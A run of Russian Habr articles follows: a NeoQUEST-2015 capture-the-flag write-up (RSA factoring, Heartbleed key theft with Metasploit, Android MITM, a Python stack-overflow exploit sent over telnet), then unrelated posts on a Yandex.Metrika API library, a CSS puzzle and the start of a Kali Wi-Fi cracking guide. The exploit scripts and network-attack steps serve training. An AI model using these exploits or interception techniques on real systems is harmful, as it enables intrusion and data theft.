Итак, перед нами обычный [RSA](https://ru.wikipedia.org/wiki/RSA), мы знаем открытый ключ (e,n), сразу возникает желание найти d, ввести его в строку ввода и получить ключ, так и есть, но внимательность превыше всего. Давайте посмотрим, что тут происходит.
Пусть первая строка нашего файла это sign, а вторая mes. В программе проверяется, что mes ≡ signe(mod n), после этого вычисляется mesd(mod n). А теперь подумаем, что это такое. Был у нас ключ key, его зашифровали с помощью d и получили mes ≡ keyd(mod n), а потом подписали mes ≡ signe(mod n) и все это записали в файл. Немного внимательности и мы видим, что key ≡ sign(mod n), а значит, ключом является вторая строка в файле, а именно, «3148792732424313619076650032785631134 = 0х025e6f77c39943f83d1d2f8770a1a79». А теперь второй тест на внимательность: все ключи – 128-битные хеш-значения, значит, ключом является 025e6f77c39943f83d1d2f8770a1a79, и только так!
Вариант прохождения для менее внимательных – разложить n на множители 8286006298514071265735892332006920710569 = 81227239281928373027\*102010192292200202947, посчитать функцию Эйлера от n:
φ(n) = (81227239281928373027-1)\*(102010192292200202947-1)= 8286006298514071265552654900432792134596
Осталось только посчитать d, как мультипликативно обратное к e по модулю n: d = 4708825181381486710928551540092728302699. Вводим d в строку ввода приложение и получаем 25e6f77c39943f83d1d2f8770a1a79, дописываем первый 0 и получаем ключ – 025e6f77c39943f83d1d2f8770a1a79.
Таким образом, участникам необходимо было собрать картинку в игре «Пятнашки», немного пореверсить приложение, ввести ключ в найденную строку ввода и либо найти ошибку в реализации схемы RSA (будучи очень внимательными!), либо провести атаку разложения модуля. Кстати, посмотреть, как участники квеста проходили данное задание, можно [здесь](https://forum.reverse4you.org/showthread.php?t=1978) и [тут](http://yantayga.livejournal.com/99988.html) (по второй ссылке находится достаточно большой обзор нескольких заданий NeoQUEST-2015).
##### **2. «Масон-connect» — реализуем HeartBleed**
По заданию, участнику Neoquest`а выдается файл сетевого дампа. Открыв его, например, в Wireshark мы увидим следующие пакеты:
Из данного дампа мы видим, что здесь собран https трафик между двумя узлами, клиент осуществляет соединение с сервером с IP-адресом 79.175.2.84 и используется стандартный порт 443. Пытаемся зайти на это сервер и получаем следующий ответ:
Sorry, we don't know you
Следующим шагом логично было бы провести сканирование данного сервера, с целью поиска уязвимостей. А вдруг нам повезет, и мы найдем какую-нибудь лазейку! Вспомнив про 443 порт, проверим первым делом наш сервер на наличие известной уязвимости SSL Heartbleed. Для этого можем использовать соответствующий скрипт из Nmap Scripting Engine:
Удача! Мы действительно нашли известную уязвимость в SSL — HeartBleed.
Для нас самое важное, что, проэксплуатировав ее, мы сможем получить секретный ключ сервера и расшифровать наш дамп. Сказано — сделано! Берем Metasploit, запускаем скрипт openssl\_heartbleed — и такими нехитрыми движениями получаем наш секретный ключ:
Первый шаг сделан, получив ключ, мы можем расшифровать трафик и получить больше информации из него. Вернемся к Wireshark`у и загрузим наш ключ для расшифровывания трафика. После расшифрования мы получим следующее:
В расшифрованном дампе нас прежде всего интересует GET-запрос. Мы видим, что там передаются Cookie: id и hash. Видимо, они и используются для аутентификации.
Также привлекает внимание необычный User-Agent: “GRAND LODGE”. Отправив пакет с такими же cookies и User-Agent, мы получим следующий ответ:
Перейдя по ссылке, находим наш искомый ключ!
###### **3. «raSSLedovanie» — Man-in-the-Middle атака на Android**
Скачиваем из задания APK-файл ssviewer.apk и устанавливаем на эмулятор Android. Запустив приложение, видим интерфейс:
Нажимаем на кнопку:
Сообщение «200 ok» подсказывает о сетевом взаимодействии приложения с каким-то сервером. Попробуем посмотреть сниффером (например, возьмем [Fiddler](http://www.telerik.com/fiddler)). Видим обращение к [db765.ru](https://db765.ru). Попытаемся провести MITM-атаку.
Настроим Fiddler и экспортируем его корневой сертификат:
После этого, добавим сертификат в Android к доверенным. Установим прокси для прослушивания трафика в Fiddler.
Снова запускаем приложение и ловим ответ сервера в сниффере.
В ответе видим base64. Распаковываем и получаем zip-архив, в котором находится картинка с ответом «SSLK3YDB765»!
Как показала практика, с данным заданием справилось большое количество участников, а наш победитель — n0n3m4 даже написал write-up с интригующим названием [«NeoQUEST 2015: как решить raSSLedovanie за 13 минут»](http://www.suslopas.pw/2015/03/neoquest-2015-rassledovanie-13.html).
###### **4. «Дружба и братство» — реверс приложения на C#**
Все, что было дано участникам — это два файла: login.exe и файл формата .so. После запуска login.exe приложение просит ввести логин:
###### **Часть первая**
Возьмем .NET Reflector и декомпилируем его. После недолгих поисков найдем вот такой код:
```
private void textBox1_TextChanged(object sender, EventArgs e)
{
string text = this.textBox1.Text;
if (text.Length == 0)
{
this.label1.Text = "Enter you login";
}
else if (!this.hashes.Contains(this.GetHashString(text)))
{
this.label1.Text = "Incorrect login!";
}
else if (text.Length == 0x20)
{
this.label1.Text = "You have successfully logged in!";
this.groupBox1.Enabled = false;
this.tcpSocket = new TcpClient(this.host, this.port);
this.groupBox2.Visible = true;
this.timer1.Start();
}
else
{
this.label1.Text = "Enter next character of your login";
}
}
```
Нас интересует строка:
```
else if (!this.hashes.Contains(this.GetHashString(text)))
```
Код проверяет массив hashes на наличие хеша от введенного текущего логина.
Функция получения хеша:
```
private string GetHashString(string s)
{
byte[] bytes = Encoding.ASCII.GetBytes(s);
byte[] buffer2 = new MD5CryptoServiceProvider().ComputeHash(bytes);
string str = string.Empty;
foreach (byte num in buffer2)
{
str = str + string.Format("{0:x2}", num);
}
return str;
}
```
Массив hashes:
```
this.hashes = new string[] {
"dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2",
"ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1"
};
```
Программа подбора логина на Python 3 может выглядеть следующим образом:
```
import hashlib
hashes = (
'dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af',
'4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c',
'9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab',
'4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3',
'172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2',
'77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef',
'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b',
'83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2',
'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4',
'138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25',
'3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073',
'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491',
'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55',
'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52',
'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265',
'7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1'
)
login = ''
chars = 'abcdef1234567890'
for i in range(32):
for j in range(len(chars)):
hash = hashlib.md5((login + chars[j]).encode('utf-8')).hexdigest()
if hash in hashes:
login += chars[j]
print(login)
```
В результате она выведет на экран ключ: 2b638b6da52bfad2d99dbab4018237df.
###### **Часть вторая**
После удачного подбора ключа в первой части (Приложение C#), для нас открывается консоль telnet, с предложением ввести пароль. Также нам понадобится библиотека libtest.so.
Намного удобнее использовать Putty (IP и порт смотрим в .NET Reflector)
```
this.host = "79.175.2.85";
this.port = 0x1f90;
```
Дизассемблируем libtest.so. Первой бросается в глаза функция StartTest.
```
public StartTest
StartTest proc near
s2= byte ptr -20h
push rbp
mov rbp, rsp
sub rsp, 20h
lea rdi, aHello ; "\nHello!\n"
call _puts
mov rax, cs:pGetFlag_ptr
mov rdx, cs:GetFlag_ptr
mov [rax], rdx
lea rsi, modes ; "r"
lea rdi, aHomeSrvPass_tx ; "/home/srv/pass.txt"
call _fopen
…
```
Код читает файл /home/srv/pass.txt и сравнивает со строкой введенной пользователем. Если пароли совпадают то на экран выводится текст из файла /home/srv/flag2.txt. В любом другом случаем цикл проверки повторяется.
```
loc_DD4: ; seconds
mov edi, 1
call _sleep
lea rax, [rbp+s2]
lea rdx, [rbp+s2]
add rdx, 10h
mov rsi, rax ; s2
mov rdi, rdx ; s1
call _strcmp
test eax, eax
jnz short loc_D7A
```
Очевидно, что при введении пользователем пароля длиной более 16 символов перезапишется стековая переменная с паролем, прочитанным из файла:
```
mov rax, cs:stdin_ptr
mov rdx, [rax] ; stream
lea rax, [rbp+s2]
mov esi, 64h ; n
mov rdi, rax ; s
call _fgets
```
Оригинальная структура на С:
```
struct info {
char entered_pass[16];
char correct_pass[16];
};
```
Для получения флага достаточно ввести при первом запросе «aaaaaaaaaaaaaaaaa» (17 символов) и 1 перезаписанный символ при втором:
Второй флаг: 3ed54ac12757f4c2b4fabd64d41de42d
###### **Часть третья**
Для получения третьего ключа вернемся к листингу libtest.so.
Подозрительной кажется функция GetFlag:
```
public GetFlag
GetFlag proc near
s= byte ptr -70h
stream= qword ptr -8
push rbp
mov rbp, rsp
sub rsp, 70h
lea rsi, modes ; "r"
lea rdi, filename ; "/home/srv/flag3.txt"
call _fopen
…
```
Код читает файл «/home/srv/flag3.txt» и выводит на экран. Но функция ни где не вызывается!
Из второй части мы знаем, что приложение уязвимо для переполнения стека. Попробуем написать shellcode для вызова функции GetFlag.
Заполним entered\_pass:
```
\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
```
Заполним correct\_pass:
```
\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
```
Далее нужно перезаписать адрес возврата так, чтобы выполнилась функция GetFlag.
Для того, чтобы определить адрес функции GetFlag, потребуется вывод backtrace, который присутствует как подсказка, если ввести пароль длиной более 16 символов.
Итак, из backtrace можно узнать адрес StartTest, и уже относительно этой функции рассчитать адрес GetFlag. Так как адреса меняются при каждом запуске, нужно на лету получать адрес StartTest и рассчитывать адрес GetFlag.
Код получения флага на Python 2.7, может выглядеть так:
```
import telnetlib
import re
tn = telnetlib.Telnet('79.175.2.85', 8080)
read = tn.read_until(b"password: ").decode()
print(read)
tn.write(b'aaaaaaaaaaaaaaaaa\r\n')
read = tn.read_until(b"password: ").decode()
print(read)
p = re.compile(r'\(StartTest\+0xd0\) \[(.+?)\]', re.MULTILINE | re.DOTALL)
m = p.search(read)
addr = (hex(int(m.group(1), 16) - 208 - 271))[2:]
raddr = ''
raddr += addr[10];
raddr += addr[11];
raddr += addr[8];
raddr += addr[9];
raddr += addr[6];
raddr += addr[7];
raddr += addr[4];
raddr += addr[5];
raddr += addr[2];
raddr += addr[3];
raddr += addr[0];
raddr += addr[1];
raddr = raddr.decode('hex')
tn.write(b'\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + raddr + '\x00\x00\n')
read = tn.read_until(b"password: ").decode()
print("")
print(read)
```
Третий флаг: 1946fcc08e026023fd53f935769c7f52
###### **To be continued...**
Дальше — больше! Впереди — разбор остальных заданий NeoQUEST-2015, после которых мы уже начнем приоткрывать завесу тайны над тем, что же ждет гостей на июльской «очной ставке»! | https://habr.com/ru/post/258169/ | null | ru | null |
# Работа с API Яндекс.Метрика на Python
**Всем любителям Python и Яндекс.Метрики доброго дня!**
Некоторые знают, что с некоторых пор я заделался Web-разработчиком, впрочем это громко сказано. Мой сайт с занимательными задачками, кстати, если кому интересно, попасть туда можно вот по [этой ссылке](http://ru-brains.org), медленно, но верно, катится в топы поисковиков, благо альтернатив не так много. О посещаемости на сайте я узнаю из отчетов уже полюбившейся мне яндекс.метрики. В принципе, там есть большинство из того, что мне нужно. Но каждый раз ходить на из сайт для того, чтобы посмотреть количество визитеров как-то не фонтан. И вот тут я снова, как нельзя кстати, вспомнил, что в общем-то я программист и учу питон. «Ладно», — подумал я — «заодно и в работе с сетью попрактикуюсь». Сказано-сделано. Через протокол oAuth регистрируем приложение и получаем для него отладочный токен (живет он бессрочно и каждый раз запрашивать его не надо. Так что под наши нужды — самое то!). Для всех интересующихся, под катом привожу код библиотеки, которую можно привязать к любому GUI — интерфейсу:
[YMReader.py](http://grakovne.org/wp-content/uploads/YMReader.py_.zip)
А теперь, кратко, что она все-таки умеет.
* Авторизовываться в яндекс.метрике, используя ID и токен
* Запрашивать список счетчиков для аккаунта (используется в дальнейшем)
* Получать статистику за сегодняшний день или за все время работы (Today или Totall в параметре соответствующей функции)
* Получать список поисковых фраз, по которым люди переходили на ваш сайт
* Проверять правильность установки счетчика
Сама либа, разумеется ничего по-умолчанию не делает. Для того, чтобы ей воспользоваться, нужно ее импортировать в ваш проект:
`import YMReader`
Затем передать ей данные для входа методом SetLoginData в параметрах указав ваш ID и ваш токен. Как вы получите токен — ваше дело, но я решил использовать статичный отладочный (должно же быть хоть что-то через жопу)
Например вот так:
`SetLoginData("21535707","49985f415a9a46aab45b70304a557cab") # в данных изменена пара символов, поэтому при попытке воспользоваться - вернет 403 или 401 ошибку`
Ну а теперь, можно пользоваться всеми функциями. Наберите print dir(YMReader), чтобы увидеть, как они называются. Как правило, функции у меня возвращают данные либо в виде словарей (например GetSummary) либо в виде строки (CheckCode). Поэтому, чтобы воспользоваться результатами ничего парсить не требуется. Давайте, для примера, выведем число посетителей для сайта ru-brains.org:
`import YMReader`
`YMReader.SetLoginData("21535707","49985f415a9a46aab45b70304a557cab")`
`print YMReader.GetSummary((YMReader.GetCounters()[1]["URL"]))["Visitors"]`
Как видите, все просто!
Либа распространяется под лицензией GPL — так что пользуйтесь сколько хотите!
Всем удачи и безглючного кода! | https://habr.com/ru/post/187384/ | null | ru | null |
# Магический круг: CSS головоломка
Доброго времени суток, уважаемые хабравчане. Недавно [Hugo Giraudel](https://twitter.com/HugoGiraudel), он же CSS гоблин, SASS хакер и Margin псих опубликовал в своем блоге очень интересную [CSS задачку](http://hugogiraudel.com/2014/02/19/the-magic-circle-a-css-brain-teaser/) на смышленость.
Сможете заверстать подобное учитывая следующие правила?
* Круг в центре должен быть прозрачным, чтобы был виден background
* Расстояние между левыми и правыми блоками, как между верхними и нижними должно быть одинаковое
* При наличии потомков в блоке, содержимое должно отображаться
* DOM должен выглядеть следующим образом: **ul > li > section > header + footer**
* Нельзя использовать JavaScript и изображения
* *Дополню еще от себя:* нельзя использовать CSS Shape и Clip Path
Чтобы не было очень лень — [каркас уже есть](http://codepen.io/HugoGiraudel/pen/cffeb2facdf797f46617e9615105f38d).
Сделали?
Базовый HTML:
```
*
*
*
*
```
Я не буду заполнять место в этом посте банальными стилями, которые отражают и позиционируют блоки. Обозначу лишь идентичное во всех примерах появление окружности в самом центре:
```
.boxes:after {
background: none repeat scroll 0 0 #34495E;
border: 0.5em solid #2C3D50;
border-radius: 50%;
content: " ";
height: 5.5em;
left: 50%;
margin-left: -2.75em;
position: absolute;
top: 10.75em;
width: 5.5em;
}
```
#### Первый способ: [радиальный градиент](http://codepen.io/rkrupinski/pen/psrBm)
Необходимо задать правильные радиальные градиенты с цветом и прозрачностью всем footer элементам для верхних блоков и всех header элементам для нижних блоков. На первый взгляд это самый тривиальный способ решения, но в нем есть изюминка, которая заключается в использовании CSS calc() для придания отзывчивости:
```
.box-alpha .box-footer {
background: radial-gradient(circle at calc(100% + 2em) 7em , rgba(0, 0, 0, 0) 6em, #148F77 6em) repeat scroll 0 0 rgba(0, 0, 0, 0);
}
.box-beta .box-footer {
background: radial-gradient(circle at -2em 7em , rgba(0, 0, 0, 0) 6em, #25A25A 6em) repeat scroll 0 0 rgba(0, 0, 0, 0);
}
.box-gamma .box-header {
background: radial-gradient(circle at calc(100% + 2em) -2em , rgba(0, 0, 0, 0) 6em, #217DBB 6em) repeat scroll 0 0 rgba(0, 0, 0, 0);
}
.box-delta .box-header {
background: radial-gradient(circle at -2em -2em , rgba(0, 0, 0, 0) 6em, #804399 6em) repeat scroll 0 0 rgba(0, 0, 0, 0);
}
```
#### Второй способ: [рамка для псевдо-элементов](http://codepen.io/mh-nichts/pen/Giokl)
Я думаю, это — самый изобретательный способ решения. Для элементов header и footer в соответствии для каждого из блоков задаем margin в нужную сторону. После чего для каждой секции и header с footer создаем псевдо-элементы:
```
.box-alpha .box-content:before {
border-color: #148F77 rgba(0, 0, 0, 0) rgba(0, 0, 0, 0) #148F77;
bottom: -7.5em;
right: -7.5em;
}
.box-content:before {
border: 10em solid #FF0000;
content: "";
display: block;
height: 0;
position: absolute;
width: 0;
}
.box-alpha .box-content:after {
border-color: #148F77;
bottom: -10em;
right: -10em;
}
.box-content:after {
border: 2em solid #FF0000;
border-radius: 30em;
content: "";
display: block;
height: 12em;
position: absolute;
width: 12em;
z-index: 0;
}
...
```
Обращаем внимание на :before для .box-alpha, у которого нет ширины или высоты. [Вспоминаем](http://codepen.io/chriscoyier/pen/lotjh) как мы все привыкли делать «стрелочки» или треугольники на CSS с помощью border. Тот же принцип и здесь.
#### Третий способ: [тени и отрицательные отступы](http://codepen.io/thebabydino/pen/LmxnI)
Мое любимое решение, демонстрирующее доскональное понимание самых тонких нюансов в CSS. Как и в предыдущем варианте для элементов создаем псевдо-элемент и задаем правильный padding. Элемент каждого из блоков, часть которого должна быть обрезана на четверть круга полностью прозрачен. Фон ему задает огромная внешняя тень псевдо-элемента.
```
.block__element--cut:before {
border-radius: 50%;
content: "";
height: 8em;
margin: -5em;
position: absolute;
width: 8em;
z-index: -1;
}
.block:nth-child(1) .block__element--cut:before {
bottom: 0;
box-shadow: 0 0 0 40em #0F414C;
right: 0;
}
.block:nth-child(2) .block__element--cut:before {
bottom: 0;
box-shadow: 0 0 0 40em #673A01;
left: 0;
}
.block:nth-child(3) .block__element--cut:before {
box-shadow: 0 0 0 40em rgba(187, 169, 255, 0.65);
right: 0;
top: 0;
}
.block:nth-child(4) .block__element--cut:before {
box-shadow: 0 0 0 40em rgba(176, 214, 95, 0.65);
left: 0;
top: 0;
}
```
Но самое элегантное тут вовсе не тень. А использование отрицательного значения **margin: -5em**. При абсолютном позиционировании right, bottom для элемента будет действовать значения margin-right: -5em и margin-bottom: -5em соответственно.
Оригинальное решение Hugo на SASS можно посмотреть [тут](http://hugogiraudel.com/2014/02/26/the-magic-circle-trick-revealed/). Он использует box-shadow как в третьем примере. Вспомнив под конец мой вчерашний перевод [«Только разработчики 90-х помнят это»](http://habrahabr.ru/post/214761/), хочется сказать, что лет через 15 мы также будет улыбаться на эти дикие методы, которые приведены в этом посту.
Спасибо всем за внимание. | https://habr.com/ru/post/214917/ | null | ru | null |
# Wi-Fi сети: проникновение и защита. 2) Kali. Скрытие SSID. MAC-фильтрация. WPS
[Первая часть цикла](http://habrahabr.ru/post/224955/) была очень живо встречена хабрасообществом, что вдохновило меня на ускоренное написание следующей части. К предыдущей статье было оставлено много дельных комментариев, за что я искренне благодарен. Как говорится, хочешь найти огрехи в своих знаниях — напиши статью на Хабр.
В этой статье мы поговорим о том, как можно обнаружить «скрытые» сети, обойти MAC-фильтрацию на точке доступа и почему же WPS (QSS в терминологии TP-LINK) — это «бэкдор в каждом доме». А перед этим разберёмся, как работает беспроводной адаптер и антенна и как *Kali Linux* (ex. *Backtrack*) поможет нам в тестах на проникновение в беспроводные сети.
Всё это так или иначе уже описывалось ранее, как здесь, так и на других ресурсах, но данный цикл предназначен для сбора разрозненной теории и практики воедино, простым языком, с понятными каждому выводами.
Перед прочтением настоятельно советую ознакомиться с [матчастью](http://habrahabr.ru/post/224955/) — она короткая, но на её основе базируются все наши дальнейшие действия и выводы.
**Оглавление:**
**1)** [Матчасть](http://habrahabr.ru/post/224955/)
**2)** Kali. Скрытие SSID. MAC-фильтрация. WPS
**3)** [WPA. OpenCL/CUDA. Статистика подбора](http://habrahabr.ru/post/226431/)
#### Kali… Kali Linux
Узнав о существующих на сегодня механизмах защиты беспроводных сетей в [первой части](http://habrahabr.ru/post/224955/) самое время использовать эти знания на практике и попытаться что-нибудь взломать (естественно, принадлежащее нам самим). Если получится — наша защита никуда не годится.
Все манипуляции будем проводить с использованием *Kali Linux* — [kali.org](http://kali.org). Это сборка на основе *Debian*, которая до этого была известна под именем [*Backtrack*](http://backtrack-linux.org). Если вы впервые знакомитесь с этой системой, то советую начать сразу с *Kali*, так как там есть всё то, что было в *Backtrack*, но в более свежем виде.
(Читатели подсказывают, что есть и другие подобные сборки — например, [wifiway.org](http://wifiway.org). Однако я с ними не работал.)
Под Windows тоже можно делать многое из описанного, но основная проблема в отсутствии/плохой поддержке режима монитора беспроводных адаптеров, из-за чего ловить пакеты проблематично. Кому интересно — обратите внимание на *CommView* и утилиты *Elcomsoft*. Все они требуют специальных драйверов.
*Kali* очень удобно использовать с флешки — у неё по наследству от *Debian Wheezy* (~~у меня одного закладывает нос от такого названия?~~) есть **persistence mode**, который позволяет загружаться в трёх режимах: работы без сохранения данных (read only), работы с их сохранением на отдельный раздел на флешке, так называемом persistence, или работы без сохранения в live/vanilla mode (то есть read only и без использования данных в persistence — изначальная чистая версия дистрибутива).
Но, естественно, кто хочет установить её на жёсткий диск может легко сделать это и из загрузчика, и из уже запущенной оболочки. ОС (LVM) поддерживает шифрованные разделы. Кроме этого, можно сделать собственную сборку *Kali* — добавить пакеты, настроить загрузчик и прочее. Всё это подробно описано в [документации](http://docs.kali.org/) и проблем не вызывает, хотя сборка требует пары часов времени.
Итак, допустим вы [скачали ISO](http://www.kali.org/downloads/) и записали его на флешку (для \*nix — `dd`, для Windows — [Win32DiskImager](http://sourceforge.net/projects/win32diskimager/)). Что дальше?
##### Режим persistence
Эта статья — не руководство по Linux, однако у меня самого были проблемы с запуском этого режима, поэтому решил специально описать его работу.
Пользоваться *Kali* вполне можно и в режиме Live CD, но если вы хотите иметь возможность сохранять состояние системы между перезагрузками (данные и настройки) — нужно создать отдельный **ext2**-раздел на флешке с именем **persistence**, для чего можно использовать **GParted** в составе самой *Kali* и разбить флешку прямо во время работы с неё. Когда раздел создан — смонтируйте его и запишите туда единственный файл с именем **persistence.conf** и таким содержимым:
```
/ union
```
Далее при каждой загрузке *Kali* нужно указать, в каком режиме запускать систему. Для этого в загрузчике при выделенном первом пункте `Live (i686-pae)` (аналогично с x64) нажимаем **Tab** — появляется строка загрузки ядра. Туда в конец добавляем пробел и тип загрузки:
* **persistence**, «полное постоянство» — загрузка всех данных на разделе и сохранение изменённых в процессе работы данных на него же
* **persistence persistence-read-only**, «постоянство без сохранения изменений» — обратите внимание, что это два слова и указывать нужно оба, через пробел, так как без первого этот режим не запустится (будет live mode). В этом режиме ранее сохранённые на раздел данные будут загружены, но изменения в течении этой сессии сохранены не будут и после выключения дистрибутив вернётся в исходное состояние
Если не указать тип загрузки, система будет запущена в live (vanilla) mode — раздел **persistence** не будет использован и после загрузки его можно будет смонтировать и сделать какие-то изменения. Все данные и настройки в течении работы в live-режиме не будут сохранены и содержатся только во временной памяти.
Чтобы не вбивать эти режимы при каждой загрузке можно создать свою сборку *Kali* (см. [инструкции на сайте](http://docs.kali.org/live-build/generate-updated-kali-iso)) — там есть настройка загрузчика, куда можно вписать нужные режимы так, чтобы изначально загружаться в `persistence persistence-read-only` — на мой взгляд, это самое удобное, так как изначально настроил всё, что нужно, а затем каждая сессия начинается с чистого листа.
#### Use the tools, Luke
~~Собрание окончено, расходимся, расходимся.~~
Ну, вот и добрались до терминала. Посмотрим, кто вокруг нас светит ультраволнами.
##### Режимы работы Wi-Fi адаптера
Но для начала нужно перевести наш беспроводной адаптер (сетевую карту) в «хакерский режим» — **monitor mode**.
Дело в том, что каждый Wi-Fi адаптер, а точнее, антенна, на физическом уровне улавливает любые сигналы, пересылаемые устройствами в радиусе действия. Антенна не может «не принимать» посторонние пакеты. А вот драйвер может работать в трёх режимах ([на самом деле 6](http://lazysolutions.blogspot.ch/2008/10/difference-promiscuous-vs-monitor-mode.html), но это за рамками данной статьи):
1. **Client mode** (также **managed mode**) — пакеты, не предназначенные этому адаптеру — отбрасываются, а остальные передаются внутрь ОС как «полученные». В этом режиме повреждённые пакеты также отбрасываются. Нормальный режим работы «без свистелок».
2. **Monitor mode** (также **rfmon mode**) — драйвер не фильтрует пакеты и передаёт всё, что улавливает антенна, в ОС. Пакеты с неверной контрольной суммой *не* отбрасываются и их можно видеть, к примеру, в **Wireshark**.
3. **Promiscuous mode** («беспорядочный режим») — режим монитора «наполовину». Драйвер будет передавать в ОС пакеты, полученные в рамках сети, к которой мы сейчас подключены (associated), но в отличие от обычного режима не будут отбрасываться пакеты, предназначенные другим клиентам этой сети. Пакеты других сетей будут игнорироваться. Понятно, что это работает только когда вы можете успешно подключиться и авторизоваться в некоторой сети (открытой или нет). В отличии от монитора, этот режим поддерживается меньшим числом адаптеров. При работе в этом режиме, равно как и в режиме клиента, драйвер будет убирать из переданных в ОС пакетов низкоуровневые заголовки канала.
Нам нужен как раз режим монитора — в режиме клиента нам не интересно смотреть на пакеты, которые нам самим и предназначены, а для режима promiscious нам нужно сперва подключиться к некоторой сети. Если не считать повреждённых пакетов и наличия заголовков 802.11, режим монитора может то же и больше, что и беспорядочный режим, да и поддерживается львиной долей адаптеров. Единственная проблема — не все адаптеры могут одновременно передавать данные в режиме монитора, но у меня лично с этим проблем не было.
На картинке выше жирные линии показывают пакеты, которые мы перехватываем в разных режимах, а прерывистые линии — это пакеты, улавливаемые нашей антенной, но отбрасываемые драйвером из-за выбранного режима.
Открываем терминал и выполняем:
```
airmon-ng start wlan0
```
**wlan0** — идентификатор устройства-адаптера. В \*nix это **wlan** + порядковый номер (**wlan0, wlan1, wlan2** и т.д.). Номер адаптера можно узнать, выполнив **ifconfig** или **iwconfig** (эта выведет только устройства беспроводных адаптеров и специфичную для них информацию).
Если **airmon-ng** выведет сообщение `(monitor mode enabled on mon0)` — значит, адаптер успешно переведён в режим наблюдения.
Обратите внимание, что в командах, которые мы будем выполнять дальше, тоже указывается идентификатор адаптера, но виртуального — **mon0** (`mon1`, etc.), а не исходного — **wlan0**. **mon0** — адаптер, созданный **airmon-ng**, предназначенный для работы с функциями монитора.
Сейчас этот режим поддерживается 80-90% всех адаптеров (по моему опыту), самые распространённые из них — Atheros, Intel и TP-LINK. Последний производит внешние адаптеры со сменными антеннами до $30 (я пользовался [TL-WN722NC](http://www.tp-linkru.com/products/details/?categoryid=&model=TL-WN722NC) + [TL-ANT2408CL](http://www.tp-linkru.com/products/details/?categoryid=2473&model=TL-ANT2408CL) — к тому же, благодаря USB их можно подключить к VMware). Список поддерживаемых адаптеров есть в [вики Aircrack-ng](http://aircrack-ng.org/doku.php?id=compatibility_drivers&DokuWiki=3524419c318530965780af7c3250d11f#which_is_the_best_card_to_buy).
##### Беспроводные каналы
Wi-Fi — технология передачи данных по радиоканалу, ~~то есть даром~~ с использованием того же механизма, что и в радиостанциях. И точно так же, как в радиостанциях, если передавать слишком много данных на одной частоте (обычно 2.4 ГГц), то нельзя будет разобрать, что к чему относится. Для этого существует разделение на каналы.
Всего каналов 13, хотя последний канал — тринадцатый — ~~несчастливый и~~ в некоторых странах запрещён, поэтому чаще всего используются 1-12. Однако 13-й можно включить, выбрав для беспроводного адаптера такую страну, как Боливия (BO) — или любую другую, где данная частота разрешена. Да, техническая возможность, как это часто бывает, есть в любом адаптере, но заблокирована по этическим предпочтениям.
Кроме этого есть и 14-й канал (японцы, как всегда, отличились) и частота 5 ГГц с ещё 23 каналами. Вообще, каналы 2.4 ГГц частично пересекаются, плюс их ширина может быть 20 и 40 МГц. Эта тема запутанная из-за наличия разных версий стандарта — кому интересно могут почитать в [Википедии](https://en.wikipedia.org/wiki/List_of_WLAN_channels). Нам хватит и того, что уже сказано. Пока ещё 5 ГГц применяются реже, но описанные далее приёмы применимы и к этой частоте.
Некоторые используют 13-й канал для скрытия своих сетей, но этот способ здесь даже не рассматривается, так как достаточно перевести адаптер в нужный регион, как он сам их увидит. Например:
```
ifconfig wlan0 down
iw wlan0 reg set BO
ifconfig wlan0 up
iwconfig wlan0 channel 13
```
